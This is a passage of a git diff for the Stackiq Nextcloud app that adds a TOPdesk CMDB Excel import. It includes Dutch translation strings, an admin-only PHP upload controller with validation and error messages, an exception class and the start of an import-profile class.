(.xlsx).", + "This import is no longer running.": "Deze import loopt niet meer.", + "Unchanged": "Ongewijzigd", + "Update existing records": "Bestaande records bijwerken", + "Updated": "Bijgewerkt", + "Warnings": "Waarschuwingen", + "Warnings for the whole file": "Waarschuwingen voor het hele bestand", + "When off, applications imported before are left as they are and reported as skipped.": "Als dit uit staat, blijven eerder geïmporteerde applicaties zoals ze zijn en worden ze als overgeslagen gemeld.", + "You are not signed in.": "U bent niet aangemeld.", + "Your session has expired.": "Uw sessie is verlopen.", + "Stackiq is not configured for the import.": "Stackiq is niet ingesteld voor de import.", + "The sheet \"{sheet}\" has more rows than the import can process.": "Het tabblad \"{sheet}\" heeft meer rijen dan de import kan verwerken.", + "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.": "Het stackiq-register of de schema's ervan zijn niet gevonden. Voer bovenaan deze pagina Auto Configure uit en probeer het daarna opnieuw.", + "Choose a municipality or enter the name of a new one.": "Kies een gemeente of voer de naam van een nieuwe in.", + "No running CMDB import has this id.": "Er loopt geen CMDB-import met deze id.", + "Only keeping records that are missing from the export is supported.": "Alleen het behouden van records die in de export ontbreken, wordt ondersteund.", + "Sheet \"%1$s\" has more than %2$s rows.": "Tabblad \"%1$s\" heeft meer dan %2$s rijen.", + "Sheet \"%1$s\" has no column \"%2$s\".": "Tabblad \"%1$s\" heeft geen kolom \"%2$s\".", + "Stackiq is not configured: the register or its schemas cannot be found.": "Stackiq is niet ingesteld: het register of de schema's ervan zijn niet gevonden.", + "The Excel reader is not available: OpenRegister is missing or incomplete.": "De Excel-lezer is niet beschikbaar: OpenRegister ontbreekt of is onvolledig.", + "The file is larger than the maximum of %s MB.": "Het bestand is groter dan het maximum van %s MB.", + "The file is not an Excel workbook (.xlsx).": "Het bestand is geen Excel-werkmap (.xlsx).", + "The import failed. The details are in the Nextcloud log.": "De import is mislukt. De details staan in het Nextcloud-logboek.", + "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.": "De mapping van de import kan niet worden uitgevoerd: OpenRegister ontbreekt of een mappingbestand is ongeldig.", + "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", + "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", + "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", + "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", + "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", + "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", + "duplicate %s in file": "dubbele %s in het bestand", + "exists": "bestaat al", + "missing %s": "%s ontbreekt", + "step \"%1$s\" failed: %2$s": "stap \"%1$s\" mislukt: %2$s", + "step \"%s\" failed": "stap \"%s\" mislukt", + "Column \"%s\": formula without a cached value, read as empty": "Kolom \"%s\": formule zonder opgeslagen waarde, gelezen als leeg", + "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.": "Formulecellen worden gelezen als de waarde die Excel bij de werkmap heeft opgeslagen; formules worden nooit berekend. Sla de werkmap op in Excel voordat u hem importeert.", + "Source id": "Bron-id", + "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.": "De code van de applicatie in het bronsysteem waaruit ze is geïmporteerd, zoals de TOPdesk Applicatie Code (het Middel-ID). Ter informatie; ze kan in de bron veranderen, dus records worden er niet op gekoppeld.", + "Source number": "Bronnummer", + "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.": "Het applicatienummer in het bronsysteem, zoals het APPID van TOPdesk (ICT Applicatienummer). Een herhaalde CMDB-import koppelt erop, via de importsleutel.", + "Import key": "Importsleutel", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; niet aanpassen.", + "Created in source": "Aangemaakt in de bron", + "The date the application was registered in the source system.": "De datum waarop de applicatie in het bronsysteem is geregistreerd.", + "Changed in source": "Gewijzigd in de bron", + "The date the application was last changed in the source system.": "De datum waarop de applicatie in het bronsysteem het laatst is gewijzigd." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index f340f06b1..f26e94423 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1024,6 +1024,120 @@ "The currency of the costs, as a three-letter ISO 4217 code.": "De valuta van de kosten, als ISO 4217-code van drie letters.", "The organisation this contract or licence was bought from.": "De organisatie waarvan dit contract of deze licentie is gekocht.", "TOPdesk asset template id": "Id van het TOPdesk-assetsjabloon", - "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk." + "TOPdesk needs a template to create an asset. Copy the id of your Application template from TOPdesk.": "TOPdesk heeft een sjabloon nodig om een asset aan te maken. Kopieer het id van je sjabloon Applicatie uit TOPdesk.", + "{processed} of {total} rows processed": "{processed} van {total} rijen verwerkt", + "{size} KB": "{size} kB", + "{size} MB": "{size} MB", + "A new municipality \"{name}\" is created, unless one with this name already exists.": "Er wordt een nieuwe gemeente \"{name}\" aangemaakt, tenzij er al een gemeente met deze naam bestaat.", + "A sheet has more rows than the import can process.": "Een tabblad heeft meer rijen dan de import kan verwerken.", + "A source sheet may hold at most 10,000 rows. Split the export and import the parts one after the other.": "Een brontabblad mag hoogstens 10.000 rijen bevatten. Splits de export en importeer de delen na elkaar.", + "All outcomes": "Alle resultaten", + "Check the connection and try again.": "Controleer de verbinding en probeer het opnieuw.", + "Choose a municipality first.": "Kies eerst een gemeente.", + "Choose or type a municipality": "Kies of typ een gemeente", + "Choose the TOPdesk export": "Kies de TOPdesk-export", + "Choose the TOPdesk export and try again.": "Kies de TOPdesk-export en probeer het opnieuw.", + "CMDB import": "CMDB-import", + "Created": "Aangemaakt", + "Each application row of the export becomes or updates an application, its vendor, and a usage that links it to the chosen municipality. The application owner becomes a contact person of the municipality in Nextcloud Contacts; owners are never shown to the public.": "Elke applicatierij uit de export wordt een applicatie (of werkt die bij), met de leverancier van de software (Vendor) en een gebruik dat de applicatie aan de gekozen gemeente koppelt. De applicatie-eigenaar wordt een contactpersoon van de gemeente in Nextcloud Contacten; eigenaren worden nooit openbaar getoond.", + "Error code: {code}": "Foutcode: {code}", + "Excel workbook (.xlsx), at most 10 MB, with the sheet \"Onbeh Applicaties CMDB\" or \"Beheerde Applicaties CMDB\".": "Excel-werkmap (.xlsx), hoogstens 10 MB, met het tabblad \"Onbeh Applicaties CMDB\" of \"Beheerde Applicaties CMDB\".", + "Existing municipalities could not be loaded. You can still type the name of a municipality.": "Bestaande gemeenten konden niet worden geladen. U kunt nog steeds de naam van een gemeente typen.", + "Expected a sheet named \"{first}\" or \"{second}\". Sheet names must match exactly.": "Verwacht werd een tabblad met de naam \"{first}\" of \"{second}\". De naam van het tabblad moet precies overeenkomen.", + "Failed": "Mislukt", + "Import": "Importeren", + "Import a TOPdesk CMDB export (.xlsx) as the applications one municipality uses": "Importeer een TOPdesk CMDB-export (.xlsx) als de applicaties die één gemeente gebruikt", + "Import finished. The municipality {name} was created. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import voltooid. De gemeente {name} is aangemaakt. {read} rijen gelezen: {created} aangemaakt, {updated} bijgewerkt, {unchanged} ongewijzigd.", + "Import for {name} cancelled after {read} rows.": "Import voor {name} geannuleerd na {read} rijen.", + "Import for {name} finished. {read} rows read: {created} created, {updated} updated, {unchanged} unchanged.": "Import voor {name} voltooid. {read} rijen gelezen: {created} aangemaakt, {updated} bijgewerkt, {unchanged} ongewijzigd.", + "Import progress": "Voortgang van de import", + "Importing a newer export again updates the same applications, matched on APPID per municipality. Applications missing from it are left as they are.": "Een nieuwere export opnieuw importeren werkt dezelfde applicaties bij, herkend aan het APPID per gemeente. Applicaties die er niet meer in staan, blijven zoals ze zijn.", + "Importing the export…": "De export wordt geïmporteerd…", + "Importing…": "Importeren…", + "APPID": "APPID", + "Municipality": "Gemeente", + "No file was uploaded.": "Er is geen bestand geüpload.", + "No rows with this outcome": "Geen rijen met dit resultaat", + "Nothing more is known on this page; the Nextcloud log has the details.": "Op deze pagina is niet meer bekend; het Nextcloud-logboek bevat de details.", + "Only Nextcloud administrators can import a CMDB export.": "Alleen Nextcloud-beheerders kunnen een CMDB-export importeren.", + "OpenRegister's mapping engine is missing or a mapping file is invalid. Update OpenRegister and check the Nextcloud log.": "De mapping-engine van OpenRegister ontbreekt of een mappingbestand is ongeldig. Werk OpenRegister bij en bekijk het Nextcloud-logboek.", + "Outcome": "Resultaat", + "Pick an existing municipality or type the name of a new one.": "Kies een bestaande gemeente of typ de naam van een nieuwe.", + "Pick an existing organisation of type Municipality, or type a new name and press Enter.": "Kies een bestaande organisatie van het type Gemeente, of typ een nieuwe naam en druk op Enter.", + "Pick an organisation of type Municipality, or type the name of a new one.": "Kies een organisatie van het type Gemeente, of typ de naam van een nieuwe.", + "Reasons and warnings": "Redenen en waarschuwingen", + "Records missing from the export can only be kept.": "Records die in de export ontbreken, kunnen alleen worden behouden.", + "Reload the page and try again.": "Laad de pagina opnieuw en probeer het nog eens.", + "Remove sheets the import does not read, or split the export, and try again.": "Verwijder tabbladen die de import niet leest, of splits de export, en probeer het opnieuw.", + "Row": "Rij", + "Row 1 holds the column names. \"APPID\" and \"Applicatie Naam\" are required; column order does not matter.": "Rij 1 bevat de kolomnamen. \"APPID\" en \"Applicatie Naam\" zijn verplicht; de volgorde van de kolommen maakt niet uit.", + "Rows": "Rijen", + "Rows read": "Rijen gelezen", + "Save the TOPdesk export as an Excel workbook (.xlsx). CSV, .xls and macro-enabled .xlsm files are not accepted.": "Sla de TOPdesk-export op als Excel-werkmap (.xlsx). CSV-, .xls- en .xlsm-bestanden met macro's worden niet geaccepteerd.", + "Sheet": "Tabblad", + "Show rows with outcome": "Toon rijen met resultaat", + "Sign in again and retry the import.": "Meld u opnieuw aan en probeer de import nog eens.", + "Skipped": "Overgeslagen", + "The chosen organisation is not a municipality.": "De gekozen organisatie is geen gemeente.", + "The columns \"APPID\" and \"Applicatie Naam\" are required on every source sheet. Add the column to the export and try again. Nothing was imported.": "De kolommen \"APPID\" en \"Applicatie Naam\" zijn op elk brontabblad verplicht. Voeg de kolom toe aan de export en probeer het opnieuw. Er is niets geïmporteerd.", + "The Excel reader is not available.": "De Excel-lezer is niet beschikbaar.", + "The file": "Het bestand", + "The file is larger than 10 MB.": "Het bestand is groter dan 10 MB.", + "The import failed unexpectedly.": "De import is onverwacht mislukt.", + "The import mapping cannot run.": "De mapping van de import kan niet worden uitgevoerd.", + "The import reads workbooks with the spreadsheet library that ships with OpenRegister. Make sure OpenRegister is installed and enabled.": "De import leest werkmappen met de spreadsheetbibliotheek die met OpenRegister wordt meegeleverd. Zorg dat OpenRegister is geïnstalleerd en ingeschakeld.", + "The import was cancelled. The rows processed before it stopped are kept.": "De import is geannuleerd. De rijen die vóór het stoppen zijn verwerkt, blijven behouden.", + "The organisation register is not configured, so existing municipalities cannot be listed. You can still type the name of a municipality.": "Het organisatieregister is niet ingesteld, dus bestaande gemeenten kunnen niet worden getoond. U kunt nog steeds de naam van een gemeente typen.", + "The server could not be reached.": "De server is niet bereikbaar.", + "The sheet \"{sheet}\" has no column \"{column}\".": "Het tabblad \"{sheet}\" heeft geen kolom \"{column}\".", + "The sheets \"Onbeh Applicaties CMDB\" (applications without arranged maintenance) and \"Beheerde Applicaties CMDB\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "De tabbladen \"Onbeh Applicaties CMDB\" (applicaties zonder geregeld beheer) en \"Beheerde Applicaties CMDB\" (met geregeld beheer) worden gelezen; andere tabbladen, ook de \"Invoer\"-tabbladen, worden genegeerd.", + "The workbook has none of the sheets the import reads.": "De werkmap bevat geen van de tabbladen die de import leest.", + "This file is not an Excel workbook (.xlsx).": "Dit bestand is geen Excel-werkmap (.xlsx).", + "This import is no longer running.": "Deze import loopt niet meer.", + "Unchanged": "Ongewijzigd", + "Update existing records": "Bestaande records bijwerken", + "Updated": "Bijgewerkt", + "Warnings": "Waarschuwingen", + "Warnings for the whole file": "Waarschuwingen voor het hele bestand", + "When off, applications imported before are left as they are and reported as skipped.": "Als dit uit staat, blijven eerder geïmporteerde applicaties zoals ze zijn en worden ze als overgeslagen gemeld.", + "You are not signed in.": "U bent niet aangemeld.", + "Your session has expired.": "Uw sessie is verlopen.", + "Stackiq is not configured for the import.": "Stackiq is niet ingesteld voor de import.", + "The sheet \"{sheet}\" has more rows than the import can process.": "Het tabblad \"{sheet}\" heeft meer rijen dan de import kan verwerken.", + "The stackiq register or its schemas cannot be found. Run Auto Configure at the top of this page, then try again.": "Het stackiq-register of de schema's ervan zijn niet gevonden. Voer bovenaan deze pagina Auto Configure uit en probeer het daarna opnieuw.", + "Choose a municipality or enter the name of a new one.": "Kies een gemeente of voer de naam van een nieuwe in.", + "No running CMDB import has this id.": "Er loopt geen CMDB-import met deze id.", + "Only keeping records that are missing from the export is supported.": "Alleen het behouden van records die in de export ontbreken, wordt ondersteund.", + "Sheet \"%1$s\" has more than %2$s rows.": "Tabblad \"%1$s\" heeft meer dan %2$s rijen.", + "Sheet \"%1$s\" has no column \"%2$s\".": "Tabblad \"%1$s\" heeft geen kolom \"%2$s\".", + "Stackiq is not configured: the register or its schemas cannot be found.": "Stackiq is niet ingesteld: het register of de schema's ervan zijn niet gevonden.", + "The Excel reader is not available: OpenRegister is missing or incomplete.": "De Excel-lezer is niet beschikbaar: OpenRegister ontbreekt of is onvolledig.", + "The file is larger than the maximum of %s MB.": "Het bestand is groter dan het maximum van %s MB.", + "The file is not an Excel workbook (.xlsx).": "Het bestand is geen Excel-werkmap (.xlsx).", + "The import failed. The details are in the Nextcloud log.": "De import is mislukt. De details staan in het Nextcloud-logboek.", + "The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.": "De mapping van de import kan niet worden uitgevoerd: OpenRegister ontbreekt of een mappingbestand is ongeldig.", + "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", + "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", + "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", + "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", + "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", + "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", + "duplicate %s in file": "dubbele %s in het bestand", + "exists": "bestaat al", + "missing %s": "%s ontbreekt", + "step \"%1$s\" failed: %2$s": "stap \"%1$s\" mislukt: %2$s", + "step \"%s\" failed": "stap \"%s\" mislukt", + "Column \"%s\": formula without a cached value, read as empty": "Kolom \"%s\": formule zonder opgeslagen waarde, gelezen als leeg", + "Formula cells are read as the value Excel saved with the workbook; formulas are never calculated. Save the workbook in Excel before importing it.": "Formulecellen worden gelezen als de waarde die Excel bij de werkmap heeft opgeslagen; formules worden nooit berekend. Sla de werkmap op in Excel voordat u hem importeert.", + "Source id": "Bron-id", + "The code of the application in the source system it was imported from, such as the TOPdesk Applicatie Code (the Middel-ID). Shown for reference; it can change in the source, so it is not used to match records.": "De code van de applicatie in het bronsysteem waaruit ze is geïmporteerd, zoals de TOPdesk Applicatie Code (het Middel-ID). Ter informatie; ze kan in de bron veranderen, dus records worden er niet op gekoppeld.", + "Source number": "Bronnummer", + "The application number in the source system, such as TOPdesk's APPID (ICT Applicatienummer). A repeated CMDB import matches on it, through the import key.": "Het applicatienummer in het bronsysteem, zoals het APPID van TOPdesk (ICT Applicatienummer). Een herhaalde CMDB-import koppelt erop, via de importsleutel.", + "Import key": "Importsleutel", + "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; do not edit.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; niet aanpassen.", + "Created in source": "Aangemaakt in de bron", + "The date the application was registered in the source system.": "De datum waarop de applicatie in het bronsysteem is geregistreerd.", + "Changed in source": "Gewijzigd in de bron", + "The date the application was last changed in the source system.": "De datum waarop de applicatie in het bronsysteem het laatst is gewijzigd." } } diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php new file mode 100644 index 000000000..821deaece --- /dev/null +++ b/lib/Controller/CmdbImportController.php @@ -0,0 +1,292 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Controller; + +use OCA\Stackiq\AppInfo\Application; +use OCA\Stackiq\Exception\CmdbImportException; +use OCA\Stackiq\Service\CmdbExportImportService; +use OCP\AppFramework\Controller; +use OCP\AppFramework\Http; +use OCP\AppFramework\Http\JSONResponse; +use OCP\IL10N; +use OCP\IRequest; +use Psr\Log\LoggerInterface; + +/** + * CMDB import and cancel, admin-only and CSRF-protected. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ +class CmdbImportController extends Controller { + /** + * The multipart field of the export. + */ + public const FILE_FIELD = 'cmdbFile'; + + /** + * Constructor. + * + * @param IRequest $request The request. + * @param CmdbExportImportService $importService The import service. + * @param IL10N $l10n Translations of the error messages. + * @param LoggerInterface $logger Logger. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function __construct( + IRequest $request, + private readonly CmdbExportImportService $importService, + private readonly IL10N $l10n, + private readonly LoggerInterface $logger, + ) { + parent::__construct(appName: Application::APP_ID, request: $request); + }//end __construct() + + /** + * Import a TOPdesk CMDB export for one municipality. + * + * Multipart fields: `cmdbFile`, `municipalityUuid` or `municipalityName`, + * `updateExisting` (default true), `missingRecords` (only `keep`) and + * `operationId` (pattern `cmdb-` plus 8 to 64 letters, digits or hyphens). + * + * @return JSONResponse The report (200), or an error envelope with the contract code. + * + * @auth admin-only importing a CMDB export rewrites the catalogue of a whole municipality, so only a Nextcloud admin runs it. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function import(): JSONResponse { + $validated = $this->validateRequest(); + if ($validated instanceof JSONResponse) { + return $validated; + } + + try { + $report = $this->importService->import(path: $validated['path'], options: $validated['options']); + } catch (CmdbImportException $e) { + $this->logger->info( + 'CmdbImportController: import refused', + ['error' => $e->getErrorCode(), 'details' => $e->getDetails(), 'reason' => $e->getMessage()] + ); + return $this->fromException(e: $e); + } catch (\Exception $e) { + $this->logger->error('CmdbImportController: import failed', ['exception' => $e]); + return $this->error(code: 'IMPORT_FAILED', status: Http::STATUS_INTERNAL_SERVER_ERROR); + } + + return new JSONResponse(data: $report, statusCode: Http::STATUS_OK); + }//end import() + + /** + * Check the request in the order of design D10, before anything is parsed. + * + * Present, size, xlsx, `missingRecords`, municipality. + * + * @return array{path: string, options: array}|JSONResponse The import input, or the first error. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + private function validateRequest(): array|JSONResponse { + $upload = $this->uploadedFile(); + if ($upload === null) { + return $this->error(code: 'NO_FILE_UPLOADED', status: Http::STATUS_BAD_REQUEST); + } + + $maxBytes = $this->importService->maxFileBytes(); + if ($upload['tooLarge'] === true || $upload['size'] > $maxBytes) { + return $this->error(code: 'FILE_TOO_LARGE', status: Http::STATUS_REQUEST_ENTITY_TOO_LARGE, details: ['maxBytes' => $maxBytes]); + } + + try { + $this->importService->assertXlsx(path: $upload['tmpName'], fileName: $upload['name']); + } catch (CmdbImportException $e) { + return $this->fromException(e: $e); + } + + $missingRecords = (string)$this->request->getParam('missingRecords', 'keep'); + if ($this->importService->supportsMissingRecords(mode: $missingRecords) === false) { + return $this->error(code: 'MISSING_RECORDS_UNSUPPORTED', status: Http::STATUS_UNPROCESSABLE_ENTITY, details: ['accepted' => ['keep']]); + } + + $municipalityUuid = trim((string)$this->request->getParam('municipalityUuid', '')); + $municipalityName = trim((string)$this->request->getParam('municipalityName', '')); + if ($municipalityUuid === '' && $municipalityName === '') { + return $this->error(code: CmdbImportException::MUNICIPALITY_REQUIRED, status: Http::STATUS_UNPROCESSABLE_ENTITY); + } + + return [ + 'path' => $upload['tmpName'], + 'options' => [ + 'municipalityUuid' => $municipalityUuid, + 'municipalityName' => $municipalityName, + 'updateExisting' => $this->booleanParam(name: 'updateExisting', default: true), + 'operationId' => $this->request->getParam('operationId'), + ], + ]; + }//end validateRequest() + + /** + * Ask a running CMDB import to stop between rows. + * + * @param string $operationId The operation id. + * + * @return JSONResponse `{success, cancelRequested}`, or 404 OPERATION_NOT_FOUND. + * + * @auth admin-only cancelling an import is part of running it, so only a Nextcloud admin may do it (no NoAdminRequired, CSRF checked). + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function cancel(string $operationId): JSONResponse { + if ($this->importService->requestCancel(operationId: $operationId) === false) { + return $this->error(code: 'OPERATION_NOT_FOUND', status: Http::STATUS_NOT_FOUND); + } + + return new JSONResponse(data: ['success' => true, 'cancelRequested' => true], statusCode: Http::STATUS_OK); + }//end cancel() + + /** + * Translate a CmdbImportException into its contract response. + * + * @param CmdbImportException $e The exception. + * + * @return JSONResponse + */ + private function fromException(CmdbImportException $e): JSONResponse { + return $this->error(code: $e->getErrorCode(), status: $e->getHttpStatus(), details: $e->getDetails()); + }//end fromException() + + /** + * The error envelope of contract.md. + * + * @param string $code The machine error code. + * @param int $status The HTTP status. + * @param array $details Details, e.g. sheet and column. + * + * @return JSONResponse + */ + private function error(string $code, int $status, array $details = []): JSONResponse { + return new JSONResponse( + data: [ + 'success' => false, + 'error' => $code, + 'message' => $this->message(code: $code, details: $details), + 'details' => (object)$details, + ], + statusCode: $status + ); + }//end error() + + /** + * The translated message of an error code. + * + * @param string $code The machine error code. + * @param array $details The details. + * + * @return string + * + * @SuppressWarnings(PHPMD.CyclomaticComplexity) One branch per contract error code. + */ + private function message(string $code, array $details): string { + $megabytes = (string)intdiv($this->importService->maxFileBytes(), 1048576); + $expected = implode(', ', array_map('strval', ($details['expected'] ?? []))); + + return match ($code) { + 'NO_FILE_UPLOADED' => $this->l10n->t('No file was uploaded.'), + 'NOT_XLSX' => $this->l10n->t('The file is not an Excel workbook (.xlsx).'), + 'FILE_TOO_LARGE' => $this->l10n->t('The file is larger than the maximum of %s MB.', [$megabytes]), + 'MISSING_RECORDS_UNSUPPORTED' => $this->l10n->t('Only keeping records that are missing from the export is supported.'), + 'MUNICIPALITY_REQUIRED' => $this->l10n->t('Choose a municipality or enter the name of a new one.'), + 'MUNICIPALITY_INVALID' => $this->l10n->t('The chosen organisation is not a municipality.'), + 'NO_SOURCE_SHEET' => $this->l10n->t('The workbook has neither of the sheets %s.', [$expected]), + 'MISSING_COLUMN' => $this->l10n->t('Sheet "%1$s" has no column "%2$s".', [(string)($details['sheet'] ?? ''), (string)($details['column'] ?? '')]), + 'TOO_MANY_ROWS' => $this->l10n->t('Sheet "%1$s" has more than %2$s rows.', [(string)($details['sheet'] ?? ''), (string)($details['limit'] ?? '')]), + 'MAPPING_UNAVAILABLE' => $this->l10n->t('The import mapping cannot run: OpenRegister is missing or a mapping file is invalid.'), + 'READER_UNAVAILABLE' => $this->l10n->t('The Excel reader is not available: OpenRegister is missing or incomplete.'), + 'NOT_CONFIGURED' => $this->l10n->t('Stackiq is not configured: the register or its schemas cannot be found.'), + 'OPERATION_NOT_FOUND' => $this->l10n->t('No running CMDB import has this id.'), + default => $this->l10n->t('The import failed. The details are in the Nextcloud log.'), + }; + }//end message() + + /** + * A boolean form field (`true`/`false`, `1`/`0`). + * + * @param string $name The field. + * @param bool $default The value when absent. + * + * @return bool + */ + private function booleanParam(string $name, bool $default): bool { + $value = $this->request->getParam($name); + if ($value === null || $value === '') { + return $default; + } + + if (is_bool($value) === true) { + return $value; + } + + return in_array(strtolower((string)$value), ['false', '0', 'no', 'off'], true) === false; + }//end booleanParam() + + /** + * The uploaded export, or null when none was sent. + * + * @return array{tmpName: string, name: string, size: int, tooLarge: bool}|null + */ + private function uploadedFile(): ?array { + $file = $this->request->getUploadedFile(self::FILE_FIELD); + if (is_array($file) === false || $file === []) { + return null; + } + + $error = (int)($file['error'] ?? UPLOAD_ERR_OK); + if ($error === UPLOAD_ERR_INI_SIZE || $error === UPLOAD_ERR_FORM_SIZE) { + return ['tmpName' => '', 'name' => (string)($file['name'] ?? ''), 'size' => 0, 'tooLarge' => true]; + } + + $tmpName = (string)($file['tmp_name'] ?? ''); + if ($error !== UPLOAD_ERR_OK || $tmpName === '') { + return null; + } + + $size = (int)($file['size'] ?? 0); + if ($size === 0 && is_file($tmpName) === true) { + $size = (int)filesize($tmpName); + } + + return ['tmpName' => $tmpName, 'name' => (string)($file['name'] ?? ''), 'size' => $size, 'tooLarge' => false]; + }//end uploadedFile() +}//end class diff --git a/lib/Exception/CmdbImportException.php b/lib/Exception/CmdbImportException.php new file mode 100644 index 000000000..4e96756e9 --- /dev/null +++ b/lib/Exception/CmdbImportException.php @@ -0,0 +1,118 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Exception; + +use RuntimeException; +use Throwable; + +/** + * A CMDB import failure with a contract error code and an HTTP status. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ +class CmdbImportException extends RuntimeException { + public const NOT_XLSX = 'NOT_XLSX'; + public const NO_SOURCE_SHEET = 'NO_SOURCE_SHEET'; + public const MISSING_COLUMN = 'MISSING_COLUMN'; + public const TOO_MANY_ROWS = 'TOO_MANY_ROWS'; + public const MUNICIPALITY_REQUIRED = 'MUNICIPALITY_REQUIRED'; + public const MUNICIPALITY_INVALID = 'MUNICIPALITY_INVALID'; + public const MAPPING_UNAVAILABLE = 'MAPPING_UNAVAILABLE'; + public const READER_UNAVAILABLE = 'READER_UNAVAILABLE'; + public const NOT_CONFIGURED = 'NOT_CONFIGURED'; + + /** + * HTTP status per error code. + * + * @var array + */ + private const STATUS = [ + self::NOT_XLSX => 400, + self::NO_SOURCE_SHEET => 422, + self::MISSING_COLUMN => 422, + self::TOO_MANY_ROWS => 422, + self::MUNICIPALITY_REQUIRED => 422, + self::MUNICIPALITY_INVALID => 422, + self::MAPPING_UNAVAILABLE => 503, + self::READER_UNAVAILABLE => 503, + self::NOT_CONFIGURED => 503, + ]; + + /** + * Constructor. + * + * @param string $errorCode One of the class constants. + * @param string $message English log message, no person data. + * @param array $details Contract details, e.g. sheet and column. + * @param Throwable|null $previous The cause, if any. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function __construct( + private readonly string $errorCode, + string $message, + private readonly array $details = [], + ?Throwable $previous = null, + ) { + parent::__construct(message: $message, code: 0, previous: $previous); + }//end __construct() + + /** + * The contract error code, e.g. `MISSING_COLUMN`. + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function getErrorCode(): string { + return $this->errorCode; + }//end getErrorCode() + + /** + * The HTTP status the controller answers with. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function getHttpStatus(): int { + return (self::STATUS[$this->errorCode] ?? 500); + }//end getHttpStatus() + + /** + * The contract details of the error. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function getDetails(): array { + return $this->details; + }//end getDetails() +}//end class diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php new file mode 100644 index 000000000..ff67accc6 --- /dev/null +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -0,0 +1,603 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +use OCA\Stackiq\Exception\CmdbImportException; +use Psr\Container\ContainerInterface; +use Throwable; + +/** + * The validated import profile plus its packs. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + * + * @SuppressWarnings(PHPMD.TooManyPublicMethods) One small accessor per profile setting, so + * callers never read the raw JSON. + * @SuppressWarnings(PHPMD.TooManyMethods) The same accessors, plus the loader's small private helpers. + * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) The accessors each guard against a + * malformed profile value; the sum passes the threshold, no single method is complex. + */ +class CmdbImportProfile { + /** + * OpenRegister's pack validator (not a public contract). + */ + public const VALIDATOR_CLASS = 'OCA\OpenRegister\Service\MigrationPack\PackDefinitionValidator'; + + /** + * The targets every profile must name a pack for. + * + * @var array + */ + public const TARGETS = ['module', 'manufacturer', 'municipality', 'usage', 'businessOwner']; 